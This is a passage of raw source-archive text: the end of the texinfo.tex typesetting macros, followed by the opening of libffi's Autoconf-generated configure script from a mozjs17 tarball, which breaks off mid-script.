\expandafter\gdef\expandafter\resetallfloatnos \expandafter{\resetallfloatnos #1=0 }% \fi \let\floatno#1% } % \setref calls this to get the XREFLABEL-snt value. We want an @xref % to the FLOATLABEL to expand to "Figure 3.1". We call \setref when we % first read the @float command. % \def\Yfloat{\floattype@tie \chaplevelprefix\the\floatno}% % Magic string used for the XREFLABEL-title value, so \xrefX can % distinguish floats from other xref types. \def\floatmagic{!!float!!} % #1 is the control sequence we are passed; we expand into a conditional % which is true if #1 represents a float ref. That is, the magic % \thissection value which we \setref above. % \def\iffloat#1{\expandafter\doiffloat#1==\finish} % % #1 is (maybe) the \floatmagic string. If so, #2 will be the % (safe) float type for this float. We set \iffloattype to #2. % \def\doiffloat#1=#2=#3\finish{% \def\temp{#1}% \def\iffloattype{#2}% \ifx\temp\floatmagic } % @listoffloats FLOATTYPE - print a list of floats like a table of contents. % \parseargdef\listoffloats{% \def\floattype{#1}% floattype {% % the floattype might have accents or other special characters, % but we need to use it in a control sequence name. \indexnofonts \turnoffactive \xdef\safefloattype{\floattype}% }% % % \xrdef saves the floats as a \do-list in \floatlistSAFEFLOATTYPE. \expandafter\ifx\csname floatlist\safefloattype\endcsname \relax \ifhavexrefs % if the user said @listoffloats foo but never @float foo. \message{\linenumber No `\safefloattype' floats to list.}% \fi \else \begingroup \leftskip=\tocindent % indent these entries like a toc \let\do=\listoffloatsdo \csname floatlist\safefloattype\endcsname \endgroup \fi } % This is called on each entry in a list of floats. We're passed the % xref label, in the form LABEL-title, which is how we save it in the % aux file. We strip off the -title and look up \XRLABEL-lof, which % has the text we're supposed to typeset here. % % Figures without xref labels will not be included in the list (since % they won't appear in the aux file). % \def\listoffloatsdo#1{\listoffloatsdoentry#1\finish} \def\listoffloatsdoentry#1-title\finish{{% % Can't fully expand XR#1-lof because it can contain anything. Just % pass the control sequence. On the other hand, XR#1-pg is just the % page number, and we want to fully expand that so we can get a link % in pdf output. \toksA = \expandafter{\csname XR#1-lof\endcsname}% % % use the same \entry macro we use to generate the TOC and index. \edef\writeentry{\noexpand\entry{\the\toksA}{\csname XR#1-pg\endcsname}}% \writeentry }} \message{localization,} % and i18n. % @documentlanguage is usually given very early, just after % @setfilename. If done too late, it may not override everything % properly. Single argument is the language abbreviation. % It would be nice if we could set up a hyphenation file here. % \parseargdef\documentlanguage{% \tex % read txi-??.tex file in plain TeX. % Read the file if it exists. \openin 1 txi-#1.tex \ifeof 1 \errhelp = \nolanghelp \errmessage{Cannot read language file txi-#1.tex}% \else \input txi-#1.tex \fi \closein 1 \endgroup } \newhelp\nolanghelp{The given language definition file cannot be found or is empty. Maybe you need to install it? In the current directory should work if nowhere else does.} % @documentencoding should change something in TeX eventually, most % likely, but for now just recognize it. \let\documentencoding = \comment % Page size parameters. % \newdimen\defaultparindent \defaultparindent = 15pt \chapheadingskip = 15pt plus 4pt minus 2pt \secheadingskip = 12pt plus 3pt minus 2pt \subsecheadingskip = 9pt plus 2pt minus 2pt % Prevent underfull vbox error messages. \vbadness = 10000 % Don't be so finicky about underfull hboxes, either. \hbadness = 2000 % Following George Bush, just get rid of widows and orphans. \widowpenalty=10000 \clubpenalty=10000 % Use TeX 3.0's \emergencystretch to help line breaking, but if we're % using an old version of TeX, don't do anything. We want the amount of % stretch added to depend on the line length, hence the dependence on % \hsize. We call this whenever the paper size is set. % \def\setemergencystretch{% \ifx\emergencystretch\thisisundefined % Allow us to assign to \emergencystretch anyway. \def\emergencystretch{\dimen0}% \else \emergencystretch = .15\hsize \fi } % Parameters in order: 1) textheight; 2) textwidth; % 3) voffset; 4) hoffset; 5) binding offset; 6) topskip; % 7) physical page height; 8) physical page width. % % We also call \setleading{\textleading}, so the caller should define % \textleading. The caller should also set \parskip. % \def\internalpagesizes#1#2#3#4#5#6#7#8{% \voffset = #3\relax \topskip = #6\relax \splittopskip = \topskip % \vsize = #1\relax \advance\vsize by \topskip \outervsize = \vsize \advance\outervsize by 2\topandbottommargin \pageheight = \vsize % \hsize = #2\relax \outerhsize = \hsize \advance\outerhsize by 0.5in \pagewidth = \hsize % \normaloffset = #4\relax \bindingoffset = #5\relax % \ifpdf \pdfpageheight #7\relax \pdfpagewidth #8\relax \fi % \setleading{\textleading} % \parindent = \defaultparindent \setemergencystretch } % @letterpaper (the default). \def\letterpaper{{\globaldefs = 1 \parskip = 3pt plus 2pt minus 1pt \textleading = 13.2pt % % If page is nothing but text, make it come out even. \internalpagesizes{46\baselineskip}{6in}% {\voffset}{.25in}% {\bindingoffset}{36pt}% {11in}{8.5in}% }} % Use @smallbook to reset parameters for 7x9.25 trim size. \def\smallbook{{\globaldefs = 1 \parskip = 2pt plus 1pt \textleading = 12pt % \internalpagesizes{7.5in}{5in}% {\voffset}{.25in}% {\bindingoffset}{16pt}% {9.25in}{7in}% % \lispnarrowing = 0.3in \tolerance = 700 \hfuzz = 1pt \contentsrightmargin = 0pt \defbodyindent = .5cm }} % Use @smallerbook to reset parameters for 6x9 trim size. % (Just testing, parameters still in flux.) \def\smallerbook{{\globaldefs = 1 \parskip = 1.5pt plus 1pt \textleading = 12pt % \internalpagesizes{7.4in}{4.8in}% {-.2in}{-.4in}% {0pt}{14pt}% {9in}{6in}% % \lispnarrowing = 0.25in \tolerance = 700 \hfuzz = 1pt \contentsrightmargin = 0pt \defbodyindent = .4cm }} % Use @afourpaper to print on European A4 paper. \def\afourpaper{{\globaldefs = 1 \parskip = 3pt plus 2pt minus 1pt \textleading = 13.2pt % % Double-side printing via postscript on Laserjet 4050 % prints double-sided nicely when \bindingoffset=10mm and \hoffset=-6mm. % To change the settings for a different printer or situation, adjust % \normaloffset until the front-side and back-side texts align. Then % do the same for \bindingoffset. You can set these for testing in % your texinfo source file like this: % @tex % \global\normaloffset = -6mm % \global\bindingoffset = 10mm % @end tex \internalpagesizes{51\baselineskip}{160mm} {\voffset}{\hoffset}% {\bindingoffset}{44pt}% {297mm}{210mm}% % \tolerance = 700 \hfuzz = 1pt \contentsrightmargin = 0pt \defbodyindent = 5mm }} % Use @afivepaper to print on European A5 paper. % From romildo@urano.iceb.ufop.br, 2 July 2000. % He also recommends making @example and @lisp be small. \def\afivepaper{{\globaldefs = 1 \parskip = 2pt plus 1pt minus 0.1pt \textleading = 12.5pt % \internalpagesizes{160mm}{120mm}% {\voffset}{\hoffset}% {\bindingoffset}{8pt}% {210mm}{148mm}% % \lispnarrowing = 0.2in \tolerance = 800 \hfuzz = 1.2pt \contentsrightmargin = 0pt \defbodyindent = 2mm \tableindent = 12mm }} % A specific text layout, 24x15cm overall, intended for A4 paper. \def\afourlatex{{\globaldefs = 1 \afourpaper \internalpagesizes{237mm}{150mm}% {\voffset}{4.6mm}% {\bindingoffset}{7mm}% {297mm}{210mm}% % % Must explicitly reset to 0 because we call \afourpaper. \globaldefs = 0 }} % Use @afourwide to print on A4 paper in landscape format. \def\afourwide{{\globaldefs = 1 \afourpaper \internalpagesizes{241mm}{165mm}% {\voffset}{-2.95mm}% {\bindingoffset}{7mm}% {297mm}{210mm}% \globaldefs = 0 }} % @pagesizes TEXTHEIGHT[,TEXTWIDTH] % Perhaps we should allow setting the margins, \topskip, \parskip, % and/or leading, also. Or perhaps we should compute them somehow. % \parseargdef\pagesizes{\pagesizesyyy #1,,\finish} \def\pagesizesyyy#1,#2,#3\finish{{% \setbox0 = \hbox{\ignorespaces #2}\ifdim\wd0 > 0pt \hsize=#2\relax \fi \globaldefs = 1 % \parskip = 3pt plus 2pt minus 1pt \setleading{\textleading}% % \dimen0 = #1 \advance\dimen0 by \voffset % \dimen2 = \hsize \advance\dimen2 by \normaloffset % \internalpagesizes{#1}{\hsize}% {\voffset}{\normaloffset}% {\bindingoffset}{44pt}% {\dimen0}{\dimen2}% }} % Set default to letter. % \letterpaper \message{and turning on texinfo input format.} % Define macros to output various characters with catcode for normal text. \catcode`\"=\other \catcode`\~=\other \catcode`\^=\other \catcode`\_=\other \catcode`\|=\other \catcode`\<=\other \catcode`\>=\other \catcode`\+=\other \catcode`\$=\other \def\normaldoublequote{"} \def\normaltilde{~} \def\normalcaret{^} \def\normalunderscore{_} \def\normalverticalbar{|} \def\normalless{<} \def\normalgreater{>} \def\normalplus{+} \def\normaldollar{$}%$ font-lock fix % This macro is used to make a character print one way in \tt % (where it can probably be output as-is), and another way in other fonts, % where something hairier probably needs to be done. % % #1 is what to print if we are indeed using \tt; #2 is what to print % otherwise. Since all the Computer Modern typewriter fonts have zero % interword stretch (and shrink), and it is reasonable to expect all % typewriter fonts to have this, we can check that font parameter. % \def\ifusingtt#1#2{\ifdim \fontdimen3\font=0pt #1\else #2\fi} % Same as above, but check for italic font. Actually this also catches % non-italic slanted fonts since it is impossible to distinguish them from % italic fonts. But since this is only used by $ and it uses \sl anyway % this is not a problem. \def\ifusingit#1#2{\ifdim \fontdimen1\font>0pt #1\else #2\fi} % Turn off all special characters except @ % (and those which the user can use as if they were ordinary). % Most of these we simply print from the \tt font, but for some, we can % use math or other variants that look better in normal text. \catcode`\"=\active \def\activedoublequote{{\tt\char34}} \let"=\activedoublequote \catcode`\~=\active \def~{{\tt\char126}} \chardef\hat=`\^ \catcode`\^=\active \def^{{\tt \hat}} \catcode`\_=\active \def_{\ifusingtt\normalunderscore\_} \let\realunder=_ % Subroutine for the previous macro. \def\_{\leavevmode \kern.07em \vbox{\hrule width.3em height.1ex}\kern .07em } \catcode`\|=\active \def|{{\tt\char124}} \chardef \less=`\< \catcode`\<=\active \def<{{\tt \less}} \chardef \gtr=`\> \catcode`\>=\active \def>{{\tt \gtr}} \catcode`\+=\active \def+{{\tt \char 43}} \catcode`\$=\active \def${\ifusingit{{\sl\$}}\normaldollar}%$ font-lock fix % If a .fmt file is being used, characters that might appear in a file % name cannot be active until we have parsed the command line. % So turn them off again, and have \everyjob (or @setfilename) turn them on. % \otherifyactive is called near the end of this file. \def\otherifyactive{\catcode`+=\other \catcode`\_=\other} \catcode`\@=0 % \backslashcurfont outputs one backslash character in current font, % as in \char`\\. \global\chardef\backslashcurfont=`\\ \global\let\rawbackslashxx=\backslashcurfont % let existing .??s files work % \rawbackslash defines an active \ to do \backslashcurfont. % \otherbackslash defines an active \ to be a literal `\' character with % catcode other. {\catcode`\\=\active @gdef@rawbackslash{@let\=@backslashcurfont} @gdef@otherbackslash{@let\=@realbackslash} } % \realbackslash is an actual character `\' with catcode other, and % \doublebackslash is two of them (for the pdf outlines). {\catcode`\\=\other @gdef@realbackslash{\} @gdef@doublebackslash{\\}} % \normalbackslash outputs one backslash in fixed width font. \def\normalbackslash{{\tt\backslashcurfont}} \catcode`\\=\active % Used sometimes to turn off (effectively) the active characters % even after parsing them. @def@turnoffactive{% @let"=@normaldoublequote @let\=@realbackslash @let~=@normaltilde @let^=@normalcaret @let_=@normalunderscore @let|=@normalverticalbar @let<=@normalless @let>=@normalgreater @let+=@normalplus @let$=@normaldollar %$ font-lock fix @unsepspaces } % Same as @turnoffactive except outputs \ as {\tt\char`\\} instead of % the literal character `\'. (Thus, \ is not expandable when this is in % effect.) % @def@normalturnoffactive{@turnoffactive @let\=@normalbackslash} % Make _ and + \other characters, temporarily. % This is canceled by @fixbackslash. @otherifyactive % If a .fmt file is being used, we don't want the `\input texinfo' to show up. % That is what \eatinput is for; after that, the `\' should revert to printing % a backslash. % @gdef@eatinput input texinfo{@fixbackslash} @global@let\ = @eatinput % On the other hand, perhaps the file did not have a `\input texinfo'. Then % the first `\{ in the file would cause an error. This macro tries to fix % that, assuming it is called before the first `\' could plausibly occur. % Also turn back on active characters that might appear in the input % file name, in case not using a pre-dumped format. % @gdef@fixbackslash{% @ifx\@eatinput @let\ = @normalbackslash @fi @catcode`+=@active @catcode`@_=@active } % Say @foo, not \foo, in error messages. @escapechar = `@@ % These look ok in all fonts, so just make them not special. @catcode`@& = @other @catcode`@# = @other @catcode`@% = @other @c Local variables: @c eval: (add-hook 'write-file-hooks 'time-stamp) @c page-delimiter: "^\\\\message" @c time-stamp-start: "def\\\\texinfoversion{" @c time-stamp-format: "%:y-%02m-%02d.%02H" @c time-stamp-end: "}" @c End: @c vim:sw=2: @ignore arch-tag: e1b36e32-c96e-4135-a41a-0b2efa2ea115 @end ignore mozjs17.0.0/js/src/ctypes/libffi/configure0000775000175000017500000153536112106270662020472 0ustar sstanglsstangl#! /bin/sh # Guess values for system-dependent variables and create Makefiles. # Generated by GNU Autoconf 2.65 for libffi 3.0.10rc0. # # Report bugs to . # # # Copyright (C) 1992, 1993, 1994, 1995, 1996, 1998, 1999, 2000, 2001, # 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009 Free Software Foundation, # Inc. # # # This configure script is free software; the Free Software Foundation # gives unlimited permission to copy, distribute and modify it. ## -------------------- ## ## M4sh Initialization. ## ## -------------------- ## # Be more Bourne compatible DUALCASE=1; export DUALCASE # for MKS sh if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then : emulate sh NULLCMD=: # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which # is contrary to our usage. Disable this feature. alias -g '${1+"$@"}'='"$@"' setopt NO_GLOB_SUBST else case `(set -o) 2>/dev/null` in #( *posix*) : set -o posix ;; #( *) : ;; esac fi as_nl=' ' export as_nl # Printing a long string crashes Solaris 7 /usr/bin/printf. as_echo='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo$as_echo # Prefer a ksh shell builtin over an external printf program on Solaris, # but without wasting forks for bash or zsh. if test -z "$BASH_VERSION$ZSH_VERSION" \ && (test "X`print -r -- $as_echo`" = "X$as_echo") 2>/dev/null; then as_echo='print -r --' as_echo_n='print -rn --' elif (test "X`printf %s $as_echo`" = "X$as_echo") 2>/dev/null; then as_echo='printf %s\n' as_echo_n='printf %s' else if test "X`(/usr/ucb/echo -n -n $as_echo) 2>/dev/null`" = "X-n $as_echo"; then as_echo_body='eval /usr/ucb/echo -n "$1$as_nl"' as_echo_n='/usr/ucb/echo -n' else as_echo_body='eval expr "X$1" : "X\\(.*\\)"' as_echo_n_body='eval arg=$1; case $arg in #( *"$as_nl"*) expr "X$arg" : "X\\(.*\\)$as_nl"; arg=`expr "X$arg" : ".*$as_nl\\(.*\\)"`;; esac; expr "X$arg" : "X\\(.*\\)" | tr -d "$as_nl" ' export as_echo_n_body as_echo_n='sh -c $as_echo_n_body as_echo' fi export as_echo_body as_echo='sh -c $as_echo_body as_echo' fi # The user is always right. if test "${PATH_SEPARATOR+set}" != set; then PATH_SEPARATOR=: (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && { (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 || PATH_SEPARATOR=';' } fi # IFS # We need space, tab and new line, in precisely that order. Quoting is # there to prevent editors from complaining about space-tab. # (If _AS_PATH_WALK were called with IFS unset, it would disable word # splitting by setting IFS to empty value.) IFS=" "" $as_nl" # Find who we are. Look in the path if we contain no directory separator. case $0 in #(( *[\\/]* ) as_myself=$0 ;; *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break done IFS=$as_save_IFS ;; esac # We did not find ourselves, most probably we were run as `sh COMMAND' # in which case we are not to be found in the path. if test "x$as_myself" = x; then as_myself=$0 fi if test ! -f "$as_myself"; then $as_echo "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 exit 1 fi # Unset variables that we do not need and which cause bugs (e.g. in # pre-3.0 UWIN ksh). But do not cause bugs in bash 2.01; the "|| exit 1" # suppresses any "Segmentation fault" message there. '((' could # trigger a bug in pdksh 5.2.14. for as_var in BASH_ENV ENV MAIL MAILPATH do eval test x\${$as_var+set} = xset \ && ( (unset $as_var) || exit 1) >/dev/null 2>&1 && unset $as_var || : done PS1='$ ' PS2='> ' PS4='+ ' # NLS nuisances. LC_ALL=C export LC_ALL LANGUAGE=C export LANGUAGE # CDPATH. (unset CDPATH) >/dev/null 2>&1 && unset CDPATH if test "x$CONFIG_SHELL" = x; then as_bourne_compatible="if test -n \"\${ZSH_VERSION+set}\" && (emulate sh) >/dev/null 2>&1; then : emulate sh NULLCMD=: # Pre-4.2 versions of Zsh do word splitting on \${1+\"\$@\"}, which # is contrary to our usage. Disable this feature. alias -g '\${1+\"\$@\"}'='\"\$@\"' setopt NO_GLOB_SUBST else case \`(set -o) 2>/dev/null\` in #( *posix*) : set -o posix ;; #( *) : ;; esac fi " as_required="as_fn_return () { (exit \$1); } as_fn_success () { as_fn_return 0; } as_fn_failure () { as_fn_return 1; } as_fn_ret_success () { return 0; } as_fn_ret_failure () { return 1; } exitcode=0 as_fn_success || { exitcode=1; echo as_fn_success failed.; } as_fn_failure && { exitcode=1; echo as_fn_failure succeeded.; } as_fn_ret_success || { exitcode=1; echo as_fn_ret_success failed.; } as_fn_ret_failure && { exitcode=1; echo as_fn_ret_failure succeeded.; } if ( set x; as_fn_ret_success y && test x = \"\$1\" ); then : else exitcode=1; echo positional parameters were not saved. fi test x\$exitcode = x0 || exit 1" as_suggested=" as_lineno_1=";as_suggested=$as_suggested$LINENO;as_suggested=$as_suggested" as_lineno_1a=\$LINENO as_lineno_2=";as_suggested=$as_suggested$LINENO;as_suggested=$as_suggested" as_lineno_2a=\$LINENO eval 'test \"x\$as_lineno_1'\$as_run'\" != \"x\$as_lineno_2'\$as_run'\" && test \"x\`expr \$as_lineno_1'\$as_run' + 1\`\" = \"x\$as_lineno_2'\$as_run'\"' || exit 1 test \$(( 1 + 1 )) = 2 || exit 1" if (eval "$as_required") 2>/dev/null; then : as_have_required=yes else as_have_required=no fi if test x$as_have_required = xyes && (eval "$as_suggested") 2>/dev/null; then : else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR as_found=false for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. as_found=: case $as_dir in #( /*) for as_base in sh bash ksh sh5; do # Try only shells that exist, to save several forks. as_shell=$as_dir/$as_base if { test -f "$as_shell" || test -f "$as_shell.exe"; } && { $as_echo "$as_bourne_compatible""$as_required" | as_run=a "$as_shell"; } 2>/dev/null; then : CONFIG_SHELL=$as_shell as_have_required=yes if { $as_echo "$as_bourne_compatible""$as_suggested" | as_run=a "$as_shell"; } 2>/dev/null; then : break 2 fi fi done;; esac as_found=false done $as_found || { if { test -f "$SHELL" || test -f "$SHELL.exe"; } && { $as_echo "$as_bourne_compatible""$as_required" | as_run=a "$SHELL"; } 2>/dev/null; then : CONFIG_SHELL=$SHELL as_have_required=yes fi; } IFS=$as_save_IFS if test "x$CONFIG_SHELL" != x; then : # We cannot yet assume a decent shell, so we have to provide a # neutralization value for shells without unset; and this also # works around shells that cannot unset nonexistent variables. BASH_ENV=/dev/null ENV=/dev/null (unset BASH_ENV) >/dev/null 2>&1 && unset BASH_ENV ENV export CONFIG_SHELL exec "$CONFIG_SHELL" "$as_myself" ${1+"$@"} fi if test x$as_have_required = xno; then : $as_echo "$0: This script requires a shell more modern than all" $as_echo "$0: the shells that I found on your system." if test x${ZSH_VERSION+set} = xset ; then $as_echo "$0: In particular, zsh $ZSH_VERSION has bugs and should" $as_echo "$0: be upgraded to zsh 4.3.4 or later." else $as_echo "$0: Please tell bug-autoconf@gnu.org and $0: http://gcc.gnu.org/bugs.html about your system, $0: including any error possibly output before this $0: message. Then install a modern shell, or manually run $0: the script under such a shell if you do have one." fi exit 1 fi fi fi SHELL=${CONFIG_SHELL-/bin/sh} export SHELL # Unset more variables known to interfere with behavior of common tools. CLICOLOR_FORCE= GREP_OPTIONS= unset CLICOLOR_FORCE GREP_OPTIONS ## --------------------- ## ## M4sh Shell Functions. ## ## --------------------- ## # as_fn_unset VAR # --------------- # Portably unset VAR. as_fn_unset () { { eval $1=; unset $1;} } as_unset=as_fn_unset # as_fn_set_status STATUS # ----------------------- # Set $? to STATUS, without forking. as_fn_set_status () { return $1 } # as_fn_set_status # as_fn_exit STATUS # ----------------- # Exit the shell with STATUS, even in a "trap 0" or "set -e" context. as_fn_exit () { set +e as_fn_set_status $1 exit $1 } # as_fn_exit # as_fn_mkdir_p # ------------- # Create "$as_dir" as a directory, including parents if necessary. as_fn_mkdir_p () { case $as_dir in #( -*) as_dir=./$as_dir;; esac test -d "$as_dir" || eval $as_mkdir_p || { as_dirs= while :; do case $as_dir in #( *\'*) as_qdir=`$as_echo "$as_dir" | sed "s/'/'\\\\\\\\''/g"`;; #'( *) as_qdir=$as_dir;; esac as_dirs="'$as_qdir' $as_dirs" as_dir=`$as_dirname -- "$as_dir" || $as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$as_dir" : 'X\(//\)[^/]' \| \ X"$as_dir" : 'X\(//\)$' \| \ X"$as_dir" : 'X\(/\)' \| . 2>/dev/null || $as_echo X"$as_dir" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/ q } /^X\(\/\/\)[^/].*/{ s//\1/ q } /^X\(\/\/\)$/{ s//\1/ q } /^X\(\/\).*/{ s//\1/ q } s/.*/./; q'` test -d "$as_dir" && break done test -z "$as_dirs" || eval "mkdir $as_dirs" } || test -d "$as_dir" || as_fn_error "cannot create directory $as_dir" } # as_fn_mkdir_p # as_fn_append VAR VALUE # ---------------------- # Append the text in VALUE to the end of the definition contained in VAR. Take # advantage of any shell optimizations that allow amortized linear growth over # repeated appends, instead of the typical quadratic growth present in naive # implementations. if (eval "as_var=1; as_var+=2; test x\$as_var = x12") 2>/dev/null; then : eval 'as_fn_append () { eval $1+=\$2 }' else as_fn_append () { eval $1=\$$1\$2 } fi # as_fn_append # as_fn_arith ARG... # ------------------ # Perform arithmetic evaluation on the ARGs, and store the result in the # global $as_val. Take advantage of shells that can avoid forks. The arguments # must be portable across $(()) and expr. if (eval "test \$(( 1 + 1 )) = 2") 2>/dev/null; then : eval 'as_fn_arith () { as_val=$(( $* )) }' else as_fn_arith () { as_val=`expr "$@" || test $? -eq 1` } fi # as_fn_arith # as_fn_error ERROR [LINENO LOG_FD] # --------------------------------- # Output "`basename $0`: error: ERROR" to stderr. If LINENO and LOG_FD are # provided, also output the error to LOG_FD, referencing LINENO. Then exit the # script with status $?, using 1 if that was 0. as_fn_error () { as_status=$?; test $as_status -eq 0 && as_status=1 if test "$3"; then as_lineno=${as_lineno-"$2"} as_lineno_stack=as_lineno_stack=$as_lineno_stack $as_echo "$as_me:${as_lineno-$LINENO}: error: $1" >&$3 fi $as_echo "$as_me: error: $1" >&2 as_fn_exit $as_status } # as_fn_error if expr a : '\(a\)' >/dev/null 2>&1 && test "X`expr 00001 : '.*\(...\)'`" = X001; then as_expr=expr else as_expr=false fi if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then as_basename=basename else as_basename=false fi if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then as_dirname=dirname else as_dirname=false fi as_me=`$as_basename -- "$0" || $as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ X"$0" : 'X\(//\)$' \| \ X"$0" : 'X\(/\)' \| . 2>/dev/null || $as_echo X/"$0" | sed '/^.*\/\([^/][^/]*\)\/*$/{ s//\1/ q } /^X\/\(\/\/\)$/{ s//\1/ q } /^X\/\(\/\).*/{ s//\1/ q } s/.*/./; q'` # Avoid depending upon Character Ranges. as_cr_letters='abcdefghijklmnopqrstuvwxyz' as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' as_cr_Letters=$as_cr_letters$as_cr_LETTERS as_cr_digits='0123456789' as_cr_alnum=$as_cr_Letters$as_cr_digits as_lineno_1=$LINENO as_lineno_1a=$LINENO as_lineno_2=$LINENO as_lineno_2a=$LINENO eval 'test "x$as_lineno_1'$as_run'" != "x$as_lineno_2'$as_run'" && test "x`expr $as_lineno_1'$as_run' + 1`" = "x$as_lineno_2'$as_run'"' || { # Blame Lee E. McMahon (1931-1989) for sed's syntax. :-) sed -n ' p /[$]LINENO/= ' <$as_myself | sed ' s/[$]LINENO.*/&-/ t lineno b :lineno N :loop s/[$]LINENO\([^'$as_cr_alnum'_].*\n\)\(.*\)/\2\1\2/ t loop s/-\n.*// ' >$as_me.lineno && chmod +x "$as_me.lineno" || { $as_echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2; as_fn_exit 1; } # Don't try to exec as it changes $[0], causing all sort of problems # (the dirname of $[0] is not the place where we might find the # original and so on. Autoconf is especially sensitive to this). . "./$as_me.lineno" # Exit status is that of the last command. exit } ECHO_C= ECHO_N= ECHO_T= case `echo -n x` in #((((( -n*) case `echo 'xy\c'` in *c*) ECHO_T=' ';; # ECHO_T is single tab character. xy) ECHO_C='\c';; *) echo `echo ksh88 bug on AIX 6.1` > /dev/null ECHO_T=' ';; esac;; *) ECHO_N='-n';; esac rm -f conf$$ conf$$.exe conf$$.file if test -d conf$$.dir; then rm -f conf$$.dir/conf$$.file else rm -f conf$$.dir mkdir conf$$.dir 2>/dev/null fi if (echo >conf$$.file) 2>/dev/null; then if ln -s conf$$.file conf$$ 2>/dev/null; then as_ln_s='ln -s' # ... but there are two gotchas: # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail. # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable. # In both cases, we have to default to `cp -p'. ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe || as_ln_s='cp -p' elif ln conf$$.file conf$$ 2>/dev/null; then as_ln_s=ln else as_ln_s='cp -p' fi else as_ln_s='cp -p' fi rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file rmdir conf$$.dir 2>/dev/null if mkdir -p . 2>/dev/null; then as_mkdir_p='mkdir -p "$as_dir"' else test -d ./-p && rmdir ./-p as_mkdir_p=false fi if test -x / >/dev/null 2>&1; then as_test_x='test -x' else if ls -dL / >/dev/null 2>&1; then as_ls_L_option=L else as_ls_L_option= fi as_test_x=' eval sh -c '\'' if test -d "$1"; then test -d "$1/."; else case $1 in #( -*)set "./$1";; esac; case `ls -ld'$as_ls_L_option' "$1" 2>/dev/null` in #(( ???[sx]*):;;*)false;;esac;fi '\'' sh ' fi as_executable_p=$as_test_x # Sed expression to map a string onto a valid CPP name. as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" # Sed expression to map a string onto a valid variable name. as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" # Check that we are running under the correct shell. SHELL=${CONFIG_SHELL-/bin/sh} case X$lt_ECHO in X*--fallback-echo) # Remove one level of quotation (which was required for Make). ECHO=`echo "$lt_ECHO" | sed 's,\\\\\$\\$0,'$0','` ;; esac ECHO=${lt_ECHO-echo} if test "X$1" = X--no-reexec; then # Discard the --no-reexec flag, and continue. shift elif test "X$1" = X--fallback-echo; then # Avoid inline document here, it may be left over : elif test "X`{ $ECHO '\t'; } 2>/dev/null`" = 'X\t' ; then # Yippee, $ECHO works! : else # Restart under the correct shell. exec $SHELL "$0" --no-reexec ${1+"$@"} fi if test "X$1" = X--fallback-echo; then # used as fallback echo shift cat <<_LT_EOF $* _LT_EOF exit 0 fi # The HP-UX ksh and POSIX shell print the target directory to stdout # if CDPATH is set. (unset CDPATH) >/dev/null 2>&1 && unset CDPATH if test -z "$lt_ECHO"; then if test "X${echo_test_string+set}" != Xset; then # find a string as large as possible, as long as the shell can cope with it for cmd in 'sed 50q "$0"' 'sed 20q "$0"' 'sed 10q "$0"' 'sed 2q "$0"' 'echo test'; do # expected sizes: less than 2Kb, 1Kb, 512 bytes, 16 bytes, ... if { echo_test_string=`eval $cmd`; } 2>/dev/null && { test "X$echo_test_string" = "X$echo_test_string"; } 2>/dev/null then break fi done fi if test "X`{ $ECHO '\t'; } 2>/dev/null`" = 'X\t' && echo_testing_string=`{ $ECHO "$echo_test_string"; } 2>/dev/null` && test "X$echo_testing_string" = "X$echo_test_string"; then : else # The Solaris, AIX, and Digital Unix default echo programs unquote # backslashes. This makes it impossible to quote backslashes using # echo "$something" | sed 's/\\/\\\\/g' # # So, first we look for a working echo in the user's PATH. lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR for dir in $PATH /usr/ucb; do IFS="$lt_save_ifs" if (test -f $dir/echo || test -f $dir/echo$ac_exeext) && test "X`($dir/echo '\t') 2>/dev/null`" = 'X\t' && echo_testing_string=`($dir/echo "$echo_test_string") 2>/dev/null` && test "X$echo_testing_string" = "X$echo_test_string"; then ECHO="$dir/echo" break fi done IFS="$lt_save_ifs" if test "X$ECHO" = Xecho; then # We didn't find a better echo, so look for alternatives. if test "X`{ print -r '\t'; } 2>/dev/null`" = 'X\t' && echo_testing_string=`{ print -r "$echo_test_string"; } 2>/dev/null` && test "X$echo_testing_string" = "X$echo_test_string"; then # This shell has a builtin print -r that does the trick. ECHO='print -r' elif { test -f /bin/ksh || test -f /bin/ksh$ac_exeext; } && test "X$CONFIG_SHELL" != X/bin/ksh; then # If we have ksh, try running configure again with it. ORIGINAL_CONFIG_SHELL=${CONFIG_SHELL-/bin/sh} export ORIGINAL_CONFIG_SHELL CONFIG_SHELL=/bin/ksh export CONFIG_SHELL exec $CONFIG_SHELL "$0" --no-reexec ${1+"$@"} else # Try using printf. ECHO='printf %s\n' if test "X`{ $ECHO '\t'; } 2>/dev/null`" = 'X\t' && echo_testing_string=`{ 